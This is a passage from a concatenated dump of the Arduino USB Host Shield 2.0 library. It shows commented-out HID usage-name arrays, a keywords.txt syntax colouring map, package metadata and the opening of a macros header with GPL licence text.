pstrUsagePlay , // pstrUsagePause , // pstrUsageRecord , // pstrUsageError , // pstrUsageSelectedIndicator , // pstrUsageInUseIndicator , // pstrUsageMultiModeIndicator , // pstrUsageIndicatorOn , // pstrUsageIndicatorFlash , // pstrUsageIndicatorSlowBlink , // pstrUsageIndicatorFastBlink , // pstrUsageIndicatorOff , // pstrUsageFlashOnTime , // pstrUsageSlowBlinkOnTime , // pstrUsageSlowBlinkOffTime , // pstrUsageFastBlinkOnTime , // pstrUsageFastBlinkOffTime , // pstrUsageIndicatorColor , // pstrUsageIndicatorRed , // pstrUsageIndicatorGreen , // pstrUsageIndicatorAmber , // pstrUsageGenericIndicator , // pstrUsageSystemSuspend , // pstrUsageExternalPowerConnected //}; //const char *telTitles0 [] PROGMEM = //{ // pstrUsagePhone , // pstrUsageAnsweringMachine , // pstrUsageMessageControls , // pstrUsageHandset , // pstrUsageHeadset , // pstrUsageTelephonyKeyPad , // pstrUsageProgrammableButton //}; //const char *telTitles1 [] PROGMEM = //{ // pstrUsageHookSwitch , // pstrUsageFlash , // pstrUsageFeature , // pstrUsageHold , // pstrUsageRedial , // pstrUsageTransfer , // pstrUsageDrop , // pstrUsagePark , // pstrUsageForwardCalls , // pstrUsageAlternateFunction , // pstrUsageLine , // pstrUsageSpeakerPhone , // pstrUsageConference , // pstrUsageRingEnable , // pstrUsageRingSelect , // pstrUsagePhoneMute , // pstrUsageCallerID , // pstrUsageSend //}; //const char *telTitles2 [] PROGMEM = //{ // pstrUsageSpeedDial , // pstrUsageStoreNumber , // pstrUsageRecallNumber , // pstrUsagePhoneDirectory //}; //const char *telTitles3 [] PROGMEM = //{ // pstrUsageVoiceMail , // pstrUsageScreenCalls , // pstrUsageDoNotDisturb , // pstrUsageMessage , // pstrUsageAnswerOnOff //}; //const char *telTitles4 [] PROGMEM = //{ // pstrUsageInsideDialTone , // pstrUsageOutsideDialTone , // pstrUsageInsideRingTone , // pstrUsageOutsideRingTone , // pstrUsagePriorityRingTone , // pstrUsageInsideRingback , // pstrUsagePriorityRingback , // pstrUsageLineBusyTone , // pstrUsageReorderTone , // pstrUsageCallWaitingTone , // pstrUsageConfirmationTone1 , // pstrUsageConfirmationTone2 , // pstrUsageTonesOff , // pstrUsageOutsideRingback , // pstrUsageRinger //}; //const char *telTitles5 [] PROGMEM = //{ // pstrUsagePhoneKey0 , // pstrUsagePhoneKey1 , // pstrUsagePhoneKey2 , // pstrUsagePhoneKey3 , // pstrUsagePhoneKey4 , // pstrUsagePhoneKey5 , // pstrUsagePhoneKey6 , // pstrUsagePhoneKey7 , // pstrUsagePhoneKey8 , // pstrUsagePhoneKey9 , // pstrUsagePhoneKeyStar , // pstrUsagePhoneKeyPound , // pstrUsagePhoneKeyA , // pstrUsagePhoneKeyB , // pstrUsagePhoneKeyC , // pstrUsagePhoneKeyD //}; //const char *consTitles0[] PROGMEM = //{ // pstrUsageConsumerControl, // pstrUsageNumericKeyPad, // pstrUsageProgrammableButton, // pstrUsageMicrophone, // pstrUsageHeadphone, // pstrUsageGraphicEqualizer //}; //const char *consTitles1[] PROGMEM = //{ // pstrUsagePlus10 , // pstrUsagePlus100, // pstrUsageAMPM //}; //const char *consTitles2[] PROGMEM = //{ // pstrUsagePower , // pstrUsageReset , // pstrUsageSleep , // pstrUsageSleepAfter , // pstrUsageSleepMode , // pstrUsageIllumination , // pstrUsageFunctionButtons // //}; //const char *consTitles3[] PROGMEM = //{ // pstrUsageMenu , // pstrUsageMenuPick , // pstrUsageMenuUp , // pstrUsageMenuDown , // pstrUsageMenuLeft , // pstrUsageMenuRight , // pstrUsageMenuEscape , // pstrUsageMenuValueIncrease, // pstrUsageMenuValueDecrease //}; //const char *consTitles4[] PROGMEM = //{ // pstrUsageDataOnScreen , // pstrUsageClosedCaption , // pstrUsageClosedCaptionSelect, // pstrUsageVCRTV , // pstrUsageBroadcastMode , // pstrUsageSnapshot , // pstrUsageStill //}; //const char *consTitles5[] PROGMEM = //{ // pstrUsageSelection , // pstrUsageAssignSelection , // pstrUsageModeStep , // pstrUsageRecallLast , // pstrUsageEnterChannel , // pstrUsageOrderMovie , // pstrUsageChannel , // pstrUsageMediaSelection , // pstrUsageMediaSelectComputer , // pstrUsageMediaSelectTV , // pstrUsageMediaSelectWWW , // pstrUsageMediaSelectDVD , // pstrUsageMediaSelectTelephone , // pstrUsageMediaSelectProgramGuide , // pstrUsageMediaSelectVideoPhone , // pstrUsageMediaSelectGames , // pstrUsageMediaSelectMessages , // pstrUsageMediaSelectCD , // pstrUsageMediaSelectVCR , // pstrUsageMediaSelectTuner , // pstrUsageQuit , // pstrUsageHelp , // pstrUsageMediaSelectTape , // pstrUsageMediaSelectCable , // pstrUsageMediaSelectSatellite , // pstrUsageMediaSelectSecurity , // pstrUsageMediaSelectHome , // pstrUsageMediaSelectCall , // pstrUsageChannelIncrement , // pstrUsageChannelDecrement , // pstrUsageMediaSelectSAP , // pstrUsagePageReserved , // pstrUsageVCRPlus , // pstrUsageOnce , // pstrUsageDaily , // pstrUsageWeekly , // pstrUsageMonthly //}; //const char *consTitles6[] PROGMEM = //{ // pstrUsagePlay , // pstrUsagePause , // pstrUsageRecord , // pstrUsageFastForward , // pstrUsageRewind , // pstrUsageScanNextTrack , // pstrUsageScanPreviousTrack , // pstrUsageStop , // pstrUsageEject , // pstrUsageRandomPlay , // pstrUsageSelectDisk , // pstrUsageEnterDisk , // pstrUsageRepeat , // pstrUsageTracking , // pstrUsageTrackNormal , // pstrUsageSlowTracking , // pstrUsageFrameForward , // pstrUsageFrameBackwards , // pstrUsageMark , // pstrUsageClearMark , // pstrUsageRepeatFromMark , // pstrUsageReturnToMark , // pstrUsageSearchMarkForward , // pstrUsageSearchMarkBackwards , // pstrUsageCounterReset , // pstrUsageShowCounter , // pstrUsageTrackingIncrement , // pstrUsageTrackingDecrement , // pstrUsageStopEject , // pstrUsagePlayPause , // pstrUsagePlaySkip //}; //const char *consTitles7[] PROGMEM = //{ // pstrUsageVolume , // pstrUsageBalance , // pstrUsageMute , // pstrUsageBass , // pstrUsageTreble , // pstrUsageBassBoost , // pstrUsageSurroundMode , // pstrUsageLoudness , // pstrUsageMPX , // pstrUsageVolumeIncrement , // pstrUsageVolumeDecrement //}; //const char *consTitles8[] PROGMEM = //{ // pstrUsageSpeedSelect , // pstrUsagePlaybackSpeed , // pstrUsageStandardPlay , // pstrUsageLongPlay , // pstrUsageExtendedPlay , // pstrUsageSlow //}; //const char *consTitles9[] PROGMEM = //{ // pstrUsageFanEnable , // pstrUsageFanSpeed , // pstrUsageLightEnable , // pstrUsageLightIlluminationLevel , // pstrUsageClimateControlEnable , // pstrUsageRoomTemperature , // pstrUsageSecurityEnable , // pstrUsageFireAlarm , // pstrUsagePoliceAlarm , // pstrUsageProximity , // pstrUsageMotion , // pstrUsageDuresAlarm , // pstrUsageHoldupAlarm , // pstrUsageMedicalAlarm //}; //const char *consTitlesA[] PROGMEM = //{ // pstrUsageBalanceRight , // pstrUsageBalanceLeft , // pstrUsageBassIncrement , // pstrUsageBassDecrement , // pstrUsageTrebleIncrement , // pstrUsageTrebleDecrement //}; //const char *consTitlesB[] PROGMEM = //{ // pstrUsageSpeakerSystem , // pstrUsageChannelLeft , // pstrUsageChannelRight , // pstrUsageChannelCenter , // pstrUsageChannelFront , // pstrUsageChannelCenterFront , // pstrUsageChannelSide , // pstrUsageChannelSurround , // pstrUsageChannelLowFreqEnhancement , // pstrUsageChannelTop , // pstrUsageChannelUnknown //}; //const char *consTitlesC[] PROGMEM = //{ // pstrUsageSubChannel , // pstrUsageSubChannelIncrement , // pstrUsageSubChannelDecrement , // pstrUsageAlternateAudioIncrement , // pstrUsageAlternateAudioDecrement //}; //const char *consTitlesD[] PROGMEM = //{ // pstrUsageApplicationLaunchButtons , // pstrUsageALLaunchButtonConfigTool , // pstrUsageALProgrammableButton , // pstrUsageALConsumerControlConfig , // pstrUsageALWordProcessor , // pstrUsageALTextEditor , // pstrUsageALSpreadsheet , // pstrUsageALGraphicsEditor , // pstrUsageALPresentationApp , // pstrUsageALDatabaseApp , // pstrUsageALEmailReader , // pstrUsageALNewsreader , // pstrUsageALVoicemail , // pstrUsageALContactsAddressBook , // pstrUsageALCalendarSchedule , // pstrUsageALTaskProjectManager , // pstrUsageALLogJournalTimecard , // pstrUsageALCheckbookFinance , // pstrUsageALCalculator , // pstrUsageALAVCapturePlayback , // pstrUsageALLocalMachineBrowser , // pstrUsageALLANWANBrow , // pstrUsageALInternetBrowser , // pstrUsageALRemoteNetISPConnect , // pstrUsageALNetworkConference , // pstrUsageALNetworkChat , // pstrUsageALTelephonyDialer , // pstrUsageALLogon , // pstrUsageALLogoff , // pstrUsageALLogonLogoff , // pstrUsageALTermLockScrSav , // pstrUsageALControlPannel , // pstrUsageALCommandLineProcessorRun , // pstrUsageALProcessTaskManager , // pstrUsageALSelectTaskApplication , // pstrUsageALNextTaskApplication , // pstrUsageALPreviousTaskApplication , // pstrUsageALPreemptiveHaltTaskApp , // pstrUsageALIntegratedHelpCenter , // pstrUsageALDocuments , // pstrUsageALThesaurus , // pstrUsageALDictionary , // pstrUsageALDesktop , // pstrUsageALSpellCheck , // pstrUsageALGrammarCheck , // pstrUsageALWirelessStatus , // pstrUsageALKeyboardLayout , // pstrUsageALVirusProtection , // pstrUsageALEncryption , // pstrUsageALScreenSaver , // pstrUsageALAlarms , // pstrUsageALClock , // pstrUsageALFileBrowser , // pstrUsageALPowerStatus , // pstrUsageALImageBrowser , // pstrUsageALAudioBrowser , // pstrUsageALMovieBrowser , // pstrUsageALDigitalRightsManager , // pstrUsageALDigitalWallet , // pstrUsagePageReserved , // pstrUsageALInstantMessaging , // pstrUsageALOEMFeaturesBrowser , // pstrUsageALOEMHelp , // pstrUsageALOnlineCommunity , // pstrUsageALEntertainmentContentBrow , // pstrUsageALOnlineShoppingBrowser , // pstrUsageALSmartCardInfoHelp , // pstrUsageALMarketMonitorFinBrowser , // pstrUsageALCustomCorpNewsBrowser , // pstrUsageALOnlineActivityBrowser , // pstrUsageALResearchSearchBrowser , // pstrUsageALAudioPlayer //}; //const char *consTitlesE[] PROGMEM = //{ // pstrUsageGenericGUIAppControls , // pstrUsageACNew , // pstrUsageACOpen , // pstrUsageACClose , // pstrUsageACExit , // pstrUsageACMaximize , // pstrUsageACMinimize , // pstrUsageACSave , // pstrUsageACPrint , // pstrUsageACProperties , // pstrUsageACUndo , // pstrUsageACCopy , // pstrUsageACCut , // pstrUsageACPaste , // pstrUsageACSelectAll , // pstrUsageACFind , // pstrUsageACFindAndReplace , // pstrUsageACSearch , // pstrUsageACGoto , // pstrUsageACHome , // pstrUsageACBack , // pstrUsageACForward , // pstrUsageACStop , // pstrUsageACRefresh , // pstrUsageACPreviousLink , // pstrUsageACNextLink , // pstrUsageACBookmarks , // pstrUsageACHistory , // pstrUsageACSubscriptions , // pstrUsageACZoomIn , // pstrUsageACZoomOut , // pstrUsageACZoom , // pstrUsageACFullScreenView , // pstrUsageACNormalView , // pstrUsageACViewToggle , // pstrUsageACScrollUp , // pstrUsageACScrollDown , // pstrUsageACScroll , // pstrUsageACPanLeft , // pstrUsageACPanRight , // pstrUsageACPan , // pstrUsageACNewWindow , // pstrUsageACTileHoriz , // pstrUsageACTileVert , // pstrUsageACFormat , // pstrUsageACEdit , // pstrUsageACBold , // pstrUsageACItalics , // pstrUsageACUnderline , // pstrUsageACStrikethrough , // pstrUsageACSubscript , // pstrUsageACSuperscript , // pstrUsageACAllCaps , // pstrUsageACRotate , // pstrUsageACResize , // pstrUsageACFlipHorizontal , // pstrUsageACFlipVertical , // pstrUsageACMirrorHorizontal , // pstrUsageACMirrorVertical , // pstrUsageACFontSelect , // pstrUsageACFontColor , // pstrUsageACFontSize , // pstrUsageACJustifyLeft , // pstrUsageACJustifyCenterH , // pstrUsageACJustifyRight , // pstrUsageACJustifyBlockH , // pstrUsageACJustifyTop , // pstrUsageACJustifyCenterV , // pstrUsageACJustifyBottom , // pstrUsageACJustifyBlockV , // pstrUsageACIndentDecrease , // pstrUsageACIndentIncrease , // pstrUsageACNumberedList , // pstrUsageACRestartNumbering , // pstrUsageACBulletedList , // pstrUsageACPromote , // pstrUsageACDemote , // pstrUsageACYes , // pstrUsageACNo , // pstrUsageACCancel , // pstrUsageACCatalog , // pstrUsageACBuyChkout , // pstrUsageACAddToCart , // pstrUsageACExpand , // pstrUsageACExpandAll , // pstrUsageACCollapse , // pstrUsageACCollapseAll , // pstrUsageACPrintPreview , // pstrUsageACPasteSpecial , // pstrUsageACInsertMode , // pstrUsageACDelete , // pstrUsageACLock , // pstrUsageACUnlock , // pstrUsageACProtect , // pstrUsageACUnprotect , // pstrUsageACAttachComment , // pstrUsageACDeleteComment , // pstrUsageACViewComment , // pstrUsageACSelectWord , // pstrUsageACSelectSentence , // pstrUsageACSelectParagraph , // pstrUsageACSelectColumn , // pstrUsageACSelectRow , // pstrUsageACSelectTable , // pstrUsageACSelectObject , // pstrUsageACRedoRepeat , // pstrUsageACSort , // pstrUsageACSortAscending , // pstrUsageACSortDescending , // pstrUsageACFilter , // pstrUsageACSetClock , // pstrUsageACViewClock , // pstrUsageACSelectTimeZone , // pstrUsageACEditTimeZone , // pstrUsageACSetAlarm , // pstrUsageACClearAlarm , // pstrUsageACSnoozeAlarm , // pstrUsageACResetAlarm , // pstrUsageACSyncronize , // pstrUsageACSendReceive , // pstrUsageACSendTo , // pstrUsageACReply , // pstrUsageACReplyAll , // pstrUsageACForwardMessage , // pstrUsageACSend , // pstrUsageACAttachFile , // pstrUsageACUpload , // pstrUsageACDownload , // pstrUsageACSetBorders , // pstrUsageACInsertRow , // pstrUsageACInsertColumn , // pstrUsageACInsertFile , // pstrUsageACInsertPicture , // pstrUsageACInsertObject , // pstrUsageACInsertSymbol , // pstrUsageACSaveAndClose , // pstrUsageACRename , // pstrUsageACMerge , // pstrUsageACSplit , // pstrUsageACDistributeHorizontaly , // pstrUsageACDistributeVerticaly //}; //const char *digitTitles0[] PROGMEM = //{ // pstrUsageDigitizer , // pstrUsagePen , // pstrUsageLightPen , // pstrUsageTouchScreen , // pstrUsageTouchPad , // pstrUsageWhiteBoard , // pstrUsageCoordinateMeasuringMachine , // pstrUsage3DDigitizer , // pstrUsageStereoPlotter , // pstrUsageArticulatedArm , // pstrUsageArmature , // pstrUsageMultiplePointDigitizer , // pstrUsageFreeSpaceWand //}; //const char *digitTitles1[] PROGMEM = //{ // pstrUsageStylus , // pstrUsagePuck , // pstrUsageFinger // //}; //const char *digitTitles2[] PROGMEM = //{ // pstrUsageTipPressure , // pstrUsageBarrelPressure , // pstrUsageInRange , // pstrUsageTouch , // pstrUsageUntouch , // pstrUsageTap , // pstrUsageQuality , // pstrUsageDataValid , // pstrUsageTransducerIndex , // pstrUsageTabletFunctionKeys , // pstrUsageProgramChangeKeys , // pstrUsageBatteryStrength , // pstrUsageInvert , // pstrUsageXTilt , // pstrUsageYTilt , // pstrUsageAzimuth , // pstrUsageAltitude , // pstrUsageTwist , // pstrUsageTipSwitch , // pstrUsageSecondaryTipSwitch , // pstrUsageBarrelSwitch , // pstrUsageEraser , // pstrUsageTabletPick //}; //const char *aplphanumTitles0[] PROGMEM = //{ // pstrUsageAlphanumericDisplay, // pstrUsageBitmappedDisplay //}; //const char *aplphanumTitles1[] PROGMEM = //{ // pstrUsageDisplayAttributesReport , // pstrUsageASCIICharacterSet , // pstrUsageDataReadBack , // pstrUsageFontReadBack , // pstrUsageDisplayControlReport , // pstrUsageClearDisplay , // pstrUsageDisplayEnable , // pstrUsageScreenSaverDelay , // pstrUsageScreenSaverEnable , // pstrUsageVerticalScroll , // pstrUsageHorizontalScroll , // pstrUsageCharacterReport , // pstrUsageDisplayData , // pstrUsageDisplayStatus , // pstrUsageStatusNotReady , // pstrUsageStatusReady , // pstrUsageErrorNotALoadableCharacter , // pstrUsageErrorFotDataCanNotBeRead , // pstrUsageCursorPositionReport , // pstrUsageRow , // pstrUsageColumn , // pstrUsageRows , // pstrUsageColumns , // pstrUsageCursorPixelPosition , // pstrUsageCursorMode , // pstrUsageCursorEnable , // pstrUsageCursorBlink , // pstrUsageFontReport , // pstrUsageFontData , // pstrUsageCharacterWidth , // pstrUsageCharacterHeight , // pstrUsageCharacterSpacingHorizontal , // pstrUsageCharacterSpacingVertical , // pstrUsageUnicodeCharset , // pstrUsageFont7Segment , // pstrUsage7SegmentDirectMap , // pstrUsageFont14Segment , // pstrUsage14SegmentDirectMap , // pstrUsageDisplayBrightness , // pstrUsageDisplayContrast , // pstrUsageCharacterAttribute , // pstrUsageAttributeReadback , // pstrUsageAttributeData , // pstrUsageCharAttributeEnhance , // pstrUsageCharAttributeUnderline , // pstrUsageCharAttributeBlink //}; //const char *aplphanumTitles2[] PROGMEM = //{ // pstrUsageBitmapSizeX , // pstrUsageBitmapSizeY , // pstrUsagePageReserved , // pstrUsageBitDepthFormat , // pstrUsageDisplayOrientation , // pstrUsagePaletteReport , // pstrUsagePaletteDataSize , // pstrUsagePaletteDataOffset , // pstrUsagePaletteData , // pstrUsageBlitReport , // pstrUsageBlitRectangleX1 , // pstrUsageBlitRectangleY1 , // pstrUsageBlitRectangleX2 , // pstrUsageBlitRectangleY2 , // pstrUsageBlitData , // pstrUsageSoftButton , // pstrUsageSoftButtonID , // pstrUsageSoftButtonSide , // pstrUsageSoftButtonOffset1 , // pstrUsageSoftButtonOffset2 , // pstrUsageSoftButtonReport //}; //const char *medInstrTitles0[] PROGMEM = //{ // pstrUsageVCRAcquisition , // pstrUsageFreezeThaw , // pstrUsageClipStore , // pstrUsageUpdate , // pstrUsageNext , // pstrUsageSave , // pstrUsagePrint , // pstrUsageMicrophoneEnable //}; //const char *medInstrTitles1[] PROGMEM = //{ // pstrUsageCine , // pstrUsageTransmitPower , // pstrUsageVolume , // pstrUsageFocus , // pstrUsageDepth //}; //const char *medInstrTitles2[] PROGMEM = //{ // pstrUsageSoftStepPrimary , // pstrUsageSoftStepSecondary //}; //const char *medInstrTitles3[] PROGMEM = //{ // pstrUsageZoomSelect , // pstrUsageZoomAdjust , // pstrUsageSpectralDopplerModeSelect , // pstrUsageSpectralDopplerModeAdjust , // pstrUsageColorDopplerModeSelect , // pstrUsageColorDopplerModeAdjust , // pstrUsageMotionModeSelect , // pstrUsageMotionModeAdjust , // pstrUsage2DModeSelect , // pstrUsage2DModeAdjust //}; //const char *medInstrTitles4[] PROGMEM = //{ // pstrUsageSoftControlSelect , // pstrUsageSoftControlAdjust //}; #endif // __HIDUSAGETITLEARRAYS_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/keywords.txt ================================================ #################################################### # Syntax Coloring Map For USB Library #################################################### #################################################### # Datatypes (KEYWORD1) #################################################### USB KEYWORD1 USBHub KEYWORD1 #################################################### # Syntax Coloring Map For BTD (Bluetooth) Library #################################################### #################################################### # Datatypes (KEYWORD1) #################################################### BTD KEYWORD1 #################################################### # Methods and Functions (KEYWORD2) #################################################### Task KEYWORD2 #################################################### # Syntax Coloring Map For PS3/PS4 Bluetooth/USB Library #################################################### #################################################### # Datatypes (KEYWORD1) #################################################### PS3BT KEYWORD1 PS3USB KEYWORD1 PS4BT KEYWORD1 PS4USB KEYWORD1 #################################################### # Methods and Functions (KEYWORD2) #################################################### setBdaddr KEYWORD2 getBdaddr KEYWORD2 setMoveBdaddr KEYWORD2 getMoveBdaddr KEYWORD2 getMoveCalibration KEYWORD2 getButtonPress KEYWORD2 getButtonClick KEYWORD2 getAnalogButton KEYWORD2 getAnalogHat KEYWORD2 getSensor KEYWORD2 getAngle KEYWORD2 get9DOFValues KEYWORD2 getStatus KEYWORD2 printStatusString KEYWORD2 getTemperature KEYWORD2 disconnect KEYWORD2 setAllOff KEYWORD2 setRumbleOff KEYWORD2 setRumbleOn KEYWORD2 setLedOff KEYWORD2 setLedOn KEYWORD2 setLedToggle KEYWORD2 setLedFlash KEYWORD2 moveSetBulb KEYWORD2 moveSetRumble KEYWORD2 attachOnInit KEYWORD2 PS3Connected KEYWORD2 PS3MoveConnected KEYWORD2 PS3NavigationConnected KEYWORD2 isReady KEYWORD2 waitingForConnection KEYWORD2 isTouching KEYWORD2 getX KEYWORD2 getY KEYWORD2 getTouchCounter KEYWORD2 getUsbStatus KEYWORD2 getAudioStatus KEYWORD2 getMicStatus KEYWORD2 #################################################### # Constants and enums (LITERAL1) #################################################### OFF LITERAL1 LED1 LITERAL1 LED2 LITERAL1 LED3 LITERAL1 LED4 LITERAL1 LED5 LITERAL1 LED6 LITERAL1 LED7 LITERAL1 LED8 LITERAL1 LED9 LITERAL1 LED10 LITERAL1 Red LITERAL1 Green LITERAL1 Blue LITERAL1 Yellow LITERAL1 Lightblue LITERAL1 Purple LITERAL1 Purble LITERAL1 White LITERAL1 Off LITERAL1 SELECT LITERAL1 L3 LITERAL1 R3 LITERAL1 START LITERAL1 UP LITERAL1 RIGHT LITERAL1 DOWN LITERAL1 LEFT LITERAL1 L2 LITERAL1 R2 LITERAL1 L1 LITERAL1 R1 LITERAL1 TRIANGLE LITERAL1 CIRCLE LITERAL1 CROSS LITERAL1 SQUARE LITERAL1 PS LITERAL1 MOVE LITERAL1 T LITERAL1 SHARE LITERAL1 OPTIONS LITERAL1 TOUCHPAD LITERAL1 LeftHatX LITERAL1 LeftHatY LITERAL1 RightHatX LITERAL1 RightHatY LITERAL1 aX LITERAL1 aY LITERAL1 aZ LITERAL1 gX LITERAL1 gY LITERAL1 gZ LITERAL1 aXmove LITERAL1 aYmove LITERAL1 aZmove LITERAL1 gXmove LITERAL1 gYmove LITERAL1 gZmove LITERAL1 tempMove LITERAL1 mXmove LITERAL1 mZmove LITERAL1 mYmove LITERAL1 Pitch LITERAL1 Roll LITERAL1 Plugged LITERAL1 Unplugged LITERAL1 Charging LITERAL1 NotCharging LITERAL1 Shutdown LITERAL1 Dying LITERAL1 Low LITERAL1 High LITERAL1 Full LITERAL1 MoveCharging LITERAL1 MoveNotCharging LITERAL1 MoveShutdown LITERAL1 MoveDying LITERAL1 MoveLow LITERAL1 MoveHigh LITERAL1 MoveFull LITERAL1 CableRumble LITERAL1 Cable LITERAL1 BluetoothRumble LITERAL1 Bluetooth LITERAL1 RumbleHigh LITERAL1 RumbleLow LITERAL1 #################################################### # Syntax Coloring Map For Xbox 360 Libraries #################################################### #################################################### # Datatypes (KEYWORD1) #################################################### XBOXUSB KEYWORD1 XBOXONE KEYWORD1 XBOXOLD KEYWORD1 XBOXRECV KEYWORD1 #################################################### # Methods and Functions (KEYWORD2) #################################################### setLedRaw KEYWORD2 setLedBlink KEYWORD2 setLedMode KEYWORD2 getBatteryLevel KEYWORD2 buttonChanged KEYWORD2 XboxReceiverConnected KEYWORD2 Xbox360Connected KEYWORD2 XboxOneConnected KEYWORD2 #################################################### # Constants and enums (LITERAL1) #################################################### ALL LITERAL1 ROTATING LITERAL1 FASTBLINK LITERAL1 SLOWBLINK LITERAL1 ALTERNATING LITERAL1 BACK LITERAL1 XBOX LITERAL1 SYNC LITERAL1 BLACK LITERAL1 WHITE LITERAL1 A LITERAL1 B LITERAL1 X LITERAL1 Y LITERAL1 #################################################### # Syntax Coloring Map For RFCOMM/SPP Library #################################################### #################################################### # Datatypes (KEYWORD1) #################################################### SPP KEYWORD1 #################################################### # Methods and Functions (KEYWORD2) #################################################### connected KEYWORD2 discard KEYWORD2 #################################################### # Syntax Coloring Map For Wiimote Library #################################################### #################################################### # Datatypes (KEYWORD1) #################################################### WII KEYWORD1 #################################################### # Methods and Functions (KEYWORD2) #################################################### wiimoteConnected KEYWORD2 nunchuckConnected KEYWORD2 motionPlusConnected KEYWORD2 wiiUProControllerConnected KEYWORD2 wiiBalanceBoardConnected KEYWORD2 setRumbleToggle KEYWORD2 getPitch KEYWORD2 getRoll KEYWORD2 getYaw KEYWORD2 getWiimotePitch KEYWORD2 getWiimoteRoll KEYWORD2 getNunchuckPitch KEYWORD2 getNunchuckRoll KEYWORD2 PAIR KEYWORD2 statusRequest KEYWORD2 getBatteryLevel KEYWORD2 getWiiState KEYWORD2 getWeight KEYWORD2 getTotalWeight KEYWORD2 getWeightRaw KEYWORD2 #################################################### # Constants and enums (LITERAL1) #################################################### PLUS LITERAL1 MINUS LITERAL1 ONE LITERAL1 TWO LITERAL1 HOME LITERAL1 Z LITERAL1 C LITERAL1 L LITERAL1 R LITERAL1 ZL LITERAL1 ZR LITERAL1 HatX LITERAL1 HatY LITERAL1 TopRight LITERAL1 BotRight LITERAL1 TopLeft LITERAL1 BotLeft LITERAL1 #################################################### # Methods and Functions for the IR Camera #################################################### IRinitialize KEYWORD2 isIRCameraEnabled KEYWORD2 getIRx1 KEYWORD2 getIRy1 KEYWORD2 getIRs1 KEYWORD2 getIRx2 KEYWORD2 getIRy2 KEYWORD2 getIRs2 KEYWORD2 getIRx3 KEYWORD2 getIRy3 KEYWORD2 getIRs3 KEYWORD2 getIRx4 KEYWORD2 getIRy4 KEYWORD2 getIRs4 KEYWORD2 #################################################### # Syntax Coloring Map For BTHID Library #################################################### #################################################### # Datatypes (KEYWORD1) #################################################### BTHID KEYWORD1 #################################################### # Methods and Functions (KEYWORD2) #################################################### SetReportParser KEYWORD2 setProtocolMode KEYWORD2 #################################################### # Syntax Coloring Map For PS Buzz Library #################################################### #################################################### # Datatypes (KEYWORD1) #################################################### PSBuzz KEYWORD1 #################################################### # Methods and Functions (KEYWORD2) #################################################### setLedOnAll KEYWORD2 setLedOffAll KEYWORD2 #################################################### # Constants and enums (LITERAL1) #################################################### RED LITERAL1 YELLOW LITERAL1 GREEN LITERAL1 ORANGE LITERAL1 BLUE LITERAL1 ================================================ FILE: libraries/USB_Host_Shield_2.0/library.json ================================================ { "name": "USB-Host-Shield-20", "keywords": "usb, host, ftdi, adk, acm, pl2303, hid, bluetooth, spp, ps3, ps4, buzz, xbox, wii, mass storage", "description": "Revision 2.0 of MAX3421E-based USB Host Shield Library", "authors": [ { "name": "Oleg Mazurov", "email": "mazurov@circuitsathome.com", "url": "http://www.circuitsathome.com", "maintainer": true }, { "name": "Alexei Glushchenko", "email": "alex-gl@mail.ru" }, { "name": "Kristian Lauszus", "email": "kristianl@tkjelectronics.com", "url": "http://tkjelectronics.com", "maintainer": true }, { "name": "Andrew Kroll", "email": "xxxajk@gmail.com", "maintainer": true } ], "repository": { "type": "git", "url": "https://github.com/felis/USB_Host_Shield_2.0.git" }, "version": "1.3.2", "license": "GPL-2.0", "examples": [ "examples/*/*.ino", "examples/*/*/*.ino" ], "frameworks": [ "arduino", "spl" ], "platforms": [ "atmelavr", "intel_arc32", "teensy", "atmelsam", "nordicnrf51", "ststm32", "espressif8266", "espressif32" ] } ================================================ FILE: libraries/USB_Host_Shield_2.0/library.properties ================================================ name=USB Host Shield Library 2.0 version=1.3.2 author=Oleg Mazurov (Circuits@Home) , Kristian Lauszus (TKJ Electronics) , Andrew Kroll , Alexei Glushchenko (Circuits@Home) maintainer=Oleg Mazurov (Circuits@Home) , Kristian Lauszus (TKJ Electronics) , Andrew Kroll sentence=Revision 2.0 of MAX3421E-based USB Host Shield Library. paragraph=Supports HID devices, FTDI, ADK, ACM, PL2303, Bluetooth HID devices, SPP communication and mass storage devices. Furthermore it supports PS3, PS4, PS Buzz, Wii and Xbox controllers. category=Other url=https://github.com/felis/USB_Host_Shield_2.0 architectures=* ================================================ FILE: libraries/USB_Host_Shield_2.0/macros.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(_usb_h_) || defined(MACROS_H) #error "Never include macros.h directly; include Usb.h instead" #else #define MACROS_H //////////////////////////////////////////////////////////////////////////////// // HANDY MACROS //////////////////////////////////////////////////////////////////////////////// #define VALUE_BETWEEN(v,l,h) (((v)>(l)) && ((v)<(h))) #define VALUE_WITHIN(v,l,h) (((v)>=(l)) && ((v)<=(h))) #define output_pgm_message(wa,fp,mp,el) wa = &mp, fp((char *)pgm_read_pointer(wa), el) #define output_if_between(v,l,h,wa,fp,mp,el) if(VALUE_BETWEEN(v,l,h)) output_pgm_message(wa,fp,mp[v-(l+1)],el); #define SWAP(a, b) (((a) ^= (b)), ((b) ^= (a)), ((a) ^= (b))) #ifndef __BYTE_GRABBING_DEFINED__ #define __BYTE_GRABBING_DEFINED__ 1 #ifdef BROKEN_OPTIMIZER_LITTLE_ENDIAN // Note: Use this if your compiler generates horrible assembler! #define BGRAB0(__usi__) (((uint8_t *)&(__usi__))[0]) #define BGRAB1(__usi__) (((uint8_t *)&(__usi__))[1]) #define BGRAB2(__usi__) (((uint8_t *)&(__usi__))[2]) #define BGRAB3(__usi__) (((uint8_t *)&(__usi__))[3]) #define BGRAB4(__usi__) (((uint8_t *)&(__usi__))[4]) #define BGRAB5(__usi__) (((uint8_t *)&(__usi__))[5]) #define BGRAB6(__usi__) (((uint8_t *)&(__usi__))[6]) #define BGRAB7(__usi__) (((uint8_t *)&(__usi__))[7]) #else // Note: The cast alone to uint8_t is actually enough. // GCC throws out the "& 0xff", and the size is no different. // Some compilers need it. #define BGRAB0(__usi__) ((uint8_t)((__usi__) & 0xff )) #define BGRAB1(__usi__) ((uint8_t)(((__usi__) >> 8) & 0xff)) 